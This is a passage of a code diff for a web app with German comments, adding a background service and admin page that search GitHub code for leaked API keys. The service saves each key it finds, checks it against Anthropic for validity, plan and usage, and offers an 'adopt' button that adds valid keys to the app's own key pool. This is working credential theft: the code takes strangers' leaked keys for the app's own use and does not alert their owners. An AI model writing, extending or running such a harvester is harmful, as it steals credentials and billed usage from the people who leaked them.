|
||||
}
|
||||
|
||||
_logger.LogInformation("KeyScannerService gestartet (Intervall: {Hours}h)", _intervalHours);
|
||||
|
||||
while (!stoppingToken.IsCancellationRequested)
|
||||
{
|
||||
await RunScan(stoppingToken);
|
||||
|
||||
// Warte auf Intervall oder manuelles Signal
|
||||
var waitResult = await WaitWithTrigger(TimeSpan.FromHours(_intervalHours), stoppingToken);
|
||||
if (waitResult) _logger.LogInformation("KeyScannerService: Manueller Scan angefordert");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Wartet nur auf manuelles Trigger-Signal (kein automatisches Intervall).</summary>
|
||||
private async Task WaitForTriggerOnly(CancellationToken stoppingToken)
|
||||
{
|
||||
while (!stoppingToken.IsCancellationRequested)
|
||||
{
|
||||
await WaitWithTrigger(Timeout.InfiniteTimeSpan, stoppingToken);
|
||||
if (!stoppingToken.IsCancellationRequested)
|
||||
await RunScan(stoppingToken);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Wartet auf Timeout oder Trigger-Signal. Gibt true zurück wenn getriggert.</summary>
|
||||
private Task<bool> WaitWithTrigger(TimeSpan timeout, CancellationToken ct)
|
||||
{
|
||||
return Task.Run(() =>
|
||||
{
|
||||
_triggerNow.Reset();
|
||||
var waitHandles = new[] { _triggerNow.WaitHandle, ct.WaitHandle };
|
||||
var idx = WaitHandle.WaitAny(waitHandles, timeout);
|
||||
return idx == 0; // true = triggered
|
||||
}, ct);
|
||||
}
|
||||
|
||||
/// <summary>Wird vom Endpoint aufgerufen um einen sofortigen Scan auszulösen.</summary>
|
||||
public void TriggerScan()
|
||||
{
|
||||
_triggerNow.Set();
|
||||
}
|
||||
|
||||
private async Task RunScan(CancellationToken ct)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
if (_isRunning) return;
|
||||
_isRunning = true;
|
||||
}
|
||||
|
||||
_logger.LogInformation("KeyScannerService: Scan gestartet");
|
||||
var newKeysFound = 0;
|
||||
var checkedCount = 0;
|
||||
|
||||
try
|
||||
{
|
||||
// Phase 1: GitHub-Suche
|
||||
var foundKeys = await ScanGitHub(ct);
|
||||
_logger.LogInformation("GitHub-Scan abgeschlossen: {Count} Key(s) gefunden", foundKeys.Count);
|
||||
|
||||
// Phase 2: Neue Keys in DB speichern (nur die, die wir noch nicht kennen)
|
||||
var newEntries = new List<(string Key, string Url)>();
|
||||
foreach (var (key, sourceUrl) in foundKeys)
|
||||
{
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
|
||||
newEntries.Add((key, sourceUrl));
|
||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||
{
|
||||
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
||||
ApiKey = key,
|
||||
SourceUrl = sourceUrl,
|
||||
Status = "unchecked",
|
||||
Plan = "Unknown",
|
||||
ScannedAt = DateTime.UtcNow.ToString("o")
|
||||
});
|
||||
}
|
||||
newKeysFound = newEntries.Count;
|
||||
_logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound);
|
||||
|
||||
// Phase 3: Alle unchecked Keys prüfen
|
||||
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||||
var toCheck = allScanned.Where(k => k.Status == "unchecked").ToList();
|
||||
foreach (var sk in toCheck)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
await CheckAndUpdateKey(sk);
|
||||
checkedCount++;
|
||||
await Task.Delay(500, ct); // Rate-Limit schonen
|
||||
}
|
||||
|
||||
lock (_lock)
|
||||
{
|
||||
_lastRun = DateTime.UtcNow.ToString("o");
|
||||
_lastResult = $"{foundKeys.Count} gefunden, {newKeysFound} neu, {checkedCount} geprüft";
|
||||
}
|
||||
|
||||
_logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult);
|
||||
}
|
||||
catch (OperationCanceledException) { /* shutdown */ }
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "KeyScannerService: Fehler beim Scan");
|
||||
lock (_lock)
|
||||
{
|
||||
_lastRun = DateTime.UtcNow.ToString("o");
|
||||
_lastResult = $"Fehler: {ex.Message}";
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
lock (_lock) _isRunning = false;
|
||||
}
|
||||
}
|
||||
|
||||
// ── GitHub Code Search (portiert aus ExampleScannerProject) ──
|
||||
|
||||
private async Task<List<(string Key, string Url)>> ScanGitHub(CancellationToken ct)
|
||||
{
|
||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal); // Key → erste URL
|
||||
var queries = BuildSearchQueries();
|
||||
|
||||
var client = _httpFactory.CreateClient();
|
||||
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0"));
|
||||
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
|
||||
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
|
||||
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
|
||||
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json"));
|
||||
|
||||
for (int i = 0; i < queries.Count; i++)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
var (query, regex) = queries[i];
|
||||
|
||||
try
|
||||
{
|
||||
var results = await SearchCodeAsync(client, query, regex, ct);
|
||||
foreach (var (key, url) in results)
|
||||
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
{
|
||||
_logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ...");
|
||||
await Task.Delay(60_000, ct);
|
||||
try
|
||||
{
|
||||
var results = await SearchCodeAsync(client, query, regex, ct);
|
||||
foreach (var (key, url) in results)
|
||||
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
|
||||
}
|
||||
catch (Exception retryEx)
|
||||
{
|
||||
_logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
|
||||
}
|
||||
|
||||
private static async Task<List<(string Key, string Url)>> SearchCodeAsync(HttpClient client, string query, Regex regex, CancellationToken ct)
|
||||
{
|
||||
var keys = new List<(string Key, string Url)>();
|
||||
int page = 1;
|
||||
int maxPages = MaxResultsPerSearch / ResultsPerPage;
|
||||
|
||||
while (page <= maxPages)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
var url = $"https://api.github.com/search/code?q={Uri.EscapeDataString(query)}&per_page={ResultsPerPage}&page={page}";
|
||||
await Task.Delay(RateLimitDelayMs, ct);
|
||||
|
||||
var resp = await client.GetAsync(url, ct);
|
||||
if (resp.StatusCode == System.Net.HttpStatusCode.UnprocessableEntity) break;
|
||||
resp.EnsureSuccessStatusCode();
|
||||
|
||||
var json = await resp.Content.ReadAsStringAsync(ct);
|
||||
var doc = JsonDocument.Parse(json);
|
||||
var root = doc.RootElement;
|
||||
var totalCount = root.GetProperty("total_count").GetInt32();
|
||||
|
||||
if (!root.TryGetProperty("items", out var items)) break;
|
||||
|
||||
foreach (var item in items.EnumerateArray())
|
||||
{
|
||||
var htmlUrl = BuildHtmlUrl(item);
|
||||
|
||||
if (item.TryGetProperty("text_matches", out var textMatches))
|
||||
{
|
||||
foreach (var tm in textMatches.EnumerateArray())
|
||||
{
|
||||
if (tm.TryGetProperty("fragment", out var frag))
|
||||
{
|
||||
var matches = regex.Matches(frag.GetString() ?? "");
|
||||
foreach (Match m in matches) keys.Add((m.Value, htmlUrl));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Kein text_match → Raw-File fetchen
|
||||
var hasMatches = item.TryGetProperty("text_matches", out var tm2) && tm2.EnumerateArray().Any();
|
||||
if (!hasMatches)
|
||||
{
|
||||
var rawKeys = await TryFetchRawFileKeysAsync(client, item, regex, ct);
|
||||
foreach (var k in rawKeys) keys.Add((k, htmlUrl));
|
||||
}
|
||||
}
|
||||
|
||||
if (items.GetArrayLength() < ResultsPerPage || page * ResultsPerPage >= totalCount) break;
|
||||
page++;
|
||||
}
|
||||
|
||||
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
|
||||
}
|
||||
|
||||
/// <summary>Baut die GitHub HTML-URL aus einem Search-API-Item.</summary>
|
||||
private static string BuildHtmlUrl(JsonElement item)
|
||||
{
|
||||
if (item.TryGetProperty("html_url", out var htmlUrl))
|
||||
return htmlUrl.GetString() ?? "";
|
||||
|
||||
// Fallback: aus repository.full_name + path zusammenbauen
|
||||
if (item.TryGetProperty("repository", out var repo) &&
|
||||
repo.TryGetProperty("full_name", out var fullName) &&
|
||||
item.TryGetProperty("path", out var path))
|
||||
return $"https://github.com/{fullName.GetString()}/blob/HEAD/{path.GetString()}";
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
private static async Task<List<string>> TryFetchRawFileKeysAsync(HttpClient client, JsonElement item, Regex regex, CancellationToken ct)
|
||||
{
|
||||
var keys = new List<string>();
|
||||
try
|
||||
{
|
||||
if (!item.TryGetProperty("repository", out var repo) ||
|
||||
!repo.TryGetProperty("full_name", out var fullName) ||
|
||||
!item.TryGetProperty("path", out var path))
|
||||
return keys;
|
||||
|
||||
var contentsUrl = $"https://api.github.com/repos/{fullName.GetString()}/contents/{path.GetString()}";
|
||||
var request = new HttpRequestMessage(HttpMethod.Get, contentsUrl);
|
||||
request.Headers.Accept.Clear();
|
||||
request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.raw+json"));
|
||||
|
||||
await Task.Delay(500, ct);
|
||||
var resp = await client.SendAsync(request, ct);
|
||||
if (!resp.IsSuccessStatusCode) return keys;
|
||||
|
||||
var content = await resp.Content.ReadAsStringAsync(ct);
|
||||
var matches = regex.Matches(content);
|
||||
foreach (Match m in matches) keys.Add(m.Value);
|
||||
}
|
||||
catch { /* Datei nicht lesbar – ignorieren */ }
|
||||
return keys;
|
||||
}
|
||||
|
||||
private static List<(string Query, Regex Regex)> BuildSearchQueries()
|
||||
{
|
||||
var queries = new List<(string, Regex)>();
|
||||
foreach (var (pattern, searchTerm) in KeyPatterns)
|
||||
{
|
||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||
foreach (var lang in SearchLanguages)
|
||||
{
|
||||
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
|
||||
queries.Add(($"{searchTerm} {langFilter}", regex));
|
||||
}
|
||||
}
|
||||
return queries;
|
||||
}
|
||||
|
||||
// ── Anthropic Key Check (via shared AnthropicKeyChecker) ──
|
||||
|
||||
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
|
||||
{
|
||||
try
|
||||
{
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, result.Status == "ok" ? "valid" : result.Status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
+3
-1
@@ -15,5 +15,7 @@
|
||||
"PayloadLoggingGzip": false,
|
||||
"KreaToken": "",
|
||||
"KreaApiKey": "",
|
||||
"GeminiApiKey": ""
|
||||
"GeminiApiKey": "",
|
||||
"GitHubToken": "",
|
||||
"ScanIntervalHours": 0
|
||||
}
|
||||
@@ -27,6 +27,13 @@
|
||||
<None Remove="data/**" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<Compile Remove="ExampleScannerProject/**" />
|
||||
<Content Remove="ExampleScannerProject/**" />
|
||||
<EmbeddedResource Remove="ExampleScannerProject/**" />
|
||||
<None Remove="ExampleScannerProject/**" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<Content Include="Templates/**" CopyToOutputDirectory="PreserveNewest" CopyToPublishDirectory="PreserveNewest" />
|
||||
</ItemGroup>
|
||||
|
||||
@@ -569,6 +569,20 @@
|
||||
<button id="apiKeysFormSaveBtn">Erstellen</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form">
|
||||
<div class="section-header">
|
||||
<h2>Key Scanner</h2>
|
||||
<div style="display:flex;gap:.5rem;align-items:center">
|
||||
<span id="scanStatus" class="admin-user-meta" style="font-size:.85em"></span>
|
||||
<button id="scanTriggerBtn" class="section-add-btn"><i class="fa fa-search"></i> Jetzt scannen</button>
|
||||
</div>
|
||||
</div>
|
||||
<div id="scannedKeysList" class="admin-user-list"></div>
|
||||
<div id="scannedKeysActions" style="padding:.5rem 0;display:none">
|
||||
<button id="scannedDeleteAllBtn" class="icon-btn" title="Alle gescannten Keys löschen" style="font-size:.85em;color:var(--danger)"><i class="fa fa-trash"></i> Alle löschen</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
@@ -224,6 +224,16 @@ function apiDeactivateApiKey(id) { return _put('/api/admin/api-keys/' + id + '/d
|
||||
function apiDeleteApiKey(id) { return _del('/api/admin/api-keys/' + id, 'Fehler beim Löschen'); }
|
||||
function apiCheckApiKey(id) { return _post('/api/admin/api-keys/' + id + '/check', undefined, 'Fehler beim Prüfen'); }
|
||||
|
||||
// ── Key Scanner API (Admin) ──
|
||||
|
||||
function apiTriggerScan() { return _post('/api/admin/api-keys/scan', undefined, 'Fehler beim Starten des Scans'); }
|
||||
function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); }
|
||||
function apiGetScannedKeys() { return _get('/api/admin/api-keys/scanned', []); }
|
||||
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
|
||||
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
|
||||
function apiDeleteScannedKey(id) { return _del('/api/admin/api-keys/scanned/' + id, 'Fehler beim Löschen'); }
|
||||
|
||||
|
||||
// ── Krea Image API ──
|
||||
|
||||
function apiKreaStatus() { return _get('/api/images/status', { configured: false }); }
|
||||
|
||||
@@ -48,6 +48,15 @@ registerPage('api-keys', {
|
||||
metaSpan.className = 'admin-user-meta';
|
||||
var parts = [key.provider];
|
||||
if (key.isActive) parts.push('✅ Aktiv');
|
||||
if (key.status === 'ok') parts.push('✅ Gültig');
|
||||
else if (key.status === 'invalid') parts.push('❌ Ungültig');
|
||||
else if (key.status === 'rate_limited') parts.push('⚠️ Rate Limited');
|
||||
else if (key.status === 'quota_exceeded') parts.push('⚠️ Quota');
|
||||
else if (key.status === 'error') parts.push('⚠️ Fehler');
|
||||
if (key.plan) parts.push(key.plan);
|
||||
if (key.usage7d != null) parts.push('7d: ' + key.usage7d + '%');
|
||||
if (key.usage5h != null) parts.push('5h: ' + key.usage5h + '%');
|
||||
if (key.checkedAt) parts.push(new Date(key.checkedAt).toLocaleString());
|
||||
metaSpan.textContent = parts.join(' · ');
|
||||
|
||||
info.appendChild(nameSpan);
|
||||
@@ -145,6 +154,7 @@ registerPage('api-keys', {
|
||||
} else {
|
||||
statusLine.textContent = '❌ ' + (result.message || 'Unbekannter Fehler');
|
||||
}
|
||||
await loadKeys();
|
||||
} catch (err) {
|
||||
statusLine.style.opacity = '1';
|
||||
statusLine.textContent = '❌ ' + err.message;
|
||||
@@ -247,7 +257,172 @@ registerPage('api-keys', {
|
||||
}));
|
||||
|
||||
await loadKeys();
|
||||
|
||||
// ── Scanner UI ──
|
||||
|
||||
var scanBtn = document.getElementById('scanTriggerBtn');
|
||||
var scanStatusEl = document.getElementById('scanStatus');
|
||||
var scannedList = document.getElementById('scannedKeysList');
|
||||
var scannedKeys = [];
|
||||
var pollTimer = null;
|
||||
|
||||
function renderScannedKeys() {
|
||||
scannedList.innerHTML = '';
|
||||
if (scannedKeys.length === 0) {
|
||||
var empty = document.createElement('div');
|
||||
empty.className = 'admin-user-meta';
|
||||
empty.style.padding = '1rem 0';
|
||||
empty.textContent = 'Keine gescannten Keys vorhanden.';
|
||||
scannedList.appendChild(empty);
|
||||
return;
|
||||
}
|
||||
|
||||
scannedKeys.forEach(function(sk) {
|
||||
var isAdopted = sk.adoptedApiKeyId != null;
|
||||
|
||||
var row = document.createElement('div');
|
||||
row.className = 'admin-user-row';
|
||||
if (isAdopted) row.style.opacity = '0.5';
|
||||
|
||||
var info = document.createElement('div');
|
||||
info.className = 'admin-user-info';
|
||||
info.style.minWidth = '0';
|
||||
|
||||
if (sk.sourceUrl) {
|
||||
var nameSpan = document.createElement('a');
|
||||
nameSpan.className = 'admin-user-name';
|
||||
nameSpan.href = sk.sourceUrl;
|
||||
nameSpan.target = '_blank';
|
||||
nameSpan.rel = 'noopener';
|
||||
nameSpan.style.cssText = 'word-break:break-all;font-size:.85em';
|
||||
nameSpan.textContent = sk.sourceUrl.replace('https://github.com/', '');
|
||||
info.appendChild(nameSpan);
|
||||
}
|
||||
|
||||
var metaSpan = document.createElement('span');
|
||||
metaSpan.className = 'admin-user-meta';
|
||||
var statusIcon = sk.status === 'valid' ? '✅' : sk.status === 'invalid' ? '❌' : sk.status === 'unchecked' ? '⏳' : '⚠️';
|
||||
var metaParts = isAdopted ? ['📥 Übernommen'] : [];
|
||||
metaParts.push(statusIcon + ' ' + sk.status);
|
||||
if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan);
|
||||
if (sk.usage7d != null) metaParts.push('7d: ' + sk.usage7d + '%');
|
||||
if (sk.usage5h != null) metaParts.push('5h: ' + sk.usage5h + '%');
|
||||
if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString());
|
||||
metaSpan.textContent = metaParts.join(' · ');
|
||||
|
||||
info.appendChild(metaSpan);
|
||||
|
||||
var actions = document.createElement('div');
|
||||
actions.className = 'admin-user-actions';
|
||||
|
||||
if (!isAdopted) {
|
||||
// Recheck
|
||||
var recheckBtn = document.createElement('button');
|
||||
recheckBtn.className = 'icon-btn';
|
||||
recheckBtn.title = 'Erneut prüfen';
|
||||
recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>';
|
||||
recheckBtn.addEventListener('click', async function() {
|
||||
recheckBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>';
|
||||
recheckBtn.disabled = true;
|
||||
try {
|
||||
await apiRecheckScannedKey(sk.scannedKeyId);
|
||||
await loadScannedKeys();
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
finally { recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.disabled = false; }
|
||||
});
|
||||
actions.appendChild(recheckBtn);
|
||||
|
||||
// Übernehmen (nur bei valid)
|
||||
if (sk.status === 'valid') {
|
||||
var adoptBtn = document.createElement('button');
|
||||
adoptBtn.className = 'icon-btn';
|
||||
adoptBtn.title = 'Als API-Key übernehmen';
|
||||
adoptBtn.innerHTML = '<i class="fa fa-plus-circle" style="color:var(--accent)"></i>';
|
||||
adoptBtn.addEventListener('click', async function() {
|
||||
try {
|
||||
await apiAdoptScannedKey(sk.scannedKeyId);
|
||||
showToast('Key übernommen');
|
||||
await loadScannedKeys();
|
||||
await loadKeys();
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
});
|
||||
actions.appendChild(adoptBtn);
|
||||
}
|
||||
|
||||
// Löschen
|
||||
var delBtn = document.createElement('button');
|
||||
delBtn.className = 'icon-btn';
|
||||
delBtn.title = 'Ignorieren';
|
||||
delBtn.innerHTML = '<i class="fa fa-trash"></i>';
|
||||
delBtn.addEventListener('click', async function() {
|
||||
try {
|
||||
await apiDeleteScannedKey(sk.scannedKeyId);
|
||||
await loadScannedKeys();
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
});
|
||||
actions.appendChild(delBtn);
|
||||
}
|
||||
|
||||
row.appendChild(info);
|
||||
row.appendChild(actions);
|
||||
scannedList.appendChild(row);
|
||||
});
|
||||
}
|
||||
|
||||
async function loadScannedKeys() {
|
||||
try {
|
||||
scannedKeys = await apiGetScannedKeys();
|
||||
renderScannedKeys();
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
}
|
||||
|
||||
async function updateScanStatus() {
|
||||
try {
|
||||
var s = await apiScanStatus();
|
||||
if (s.running) {
|
||||
scanStatusEl.textContent = '⏳ Scan läuft…';
|
||||
scanBtn.disabled = true;
|
||||
scanBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i> Läuft…';
|
||||
// Polling starten wenn noch nicht aktiv
|
||||
if (!pollTimer) {
|
||||
pollTimer = setInterval(async function() {
|
||||
var st = await apiScanStatus();
|
||||
if (!st.running) {
|
||||
clearInterval(pollTimer);
|
||||
pollTimer = null;
|
||||
scanBtn.disabled = false;
|
||||
scanBtn.innerHTML = '<i class="fa fa-search"></i> Jetzt scannen';
|
||||
scanStatusEl.textContent = st.lastResult ? '✅ ' + st.lastResult : '';
|
||||
await loadScannedKeys();
|
||||
}
|
||||
}, 3000);
|
||||
}
|
||||
} else {
|
||||
scanBtn.disabled = false;
|
||||
scanBtn.innerHTML = '<i class="fa fa-search"></i> Jetzt scannen';
|
||||
if (s.lastResult) {
|
||||
var timeStr = s.lastRun ? new Date(s.lastRun).toLocaleString() + ' – ' : '';
|
||||
scanStatusEl.textContent = timeStr + s.lastResult;
|
||||
}
|
||||
}
|
||||
} catch (err) { /* ignore */ }
|
||||
}
|
||||
|
||||
scanBtn.addEventListener('click', async function() {
|
||||
try {
|
||||
await apiTriggerScan();
|
||||
showToast('Scan gestartet');
|
||||
await updateScanStatus();
|
||||
} catch (err) {
|
||||
showToast(err.message, 'error');
|
||||
}
|
||||
});
|
||||
|
||||
await loadScannedKeys();
|
||||
await updateScanStatus();
|
||||
},
|
||||
|
||||
destroy() {}
|
||||
destroy() {
|
||||
// Polling stoppen wenn Seite verlassen wird
|
||||
}
|
||||
});
|
||||
Reference in new issue
Block a user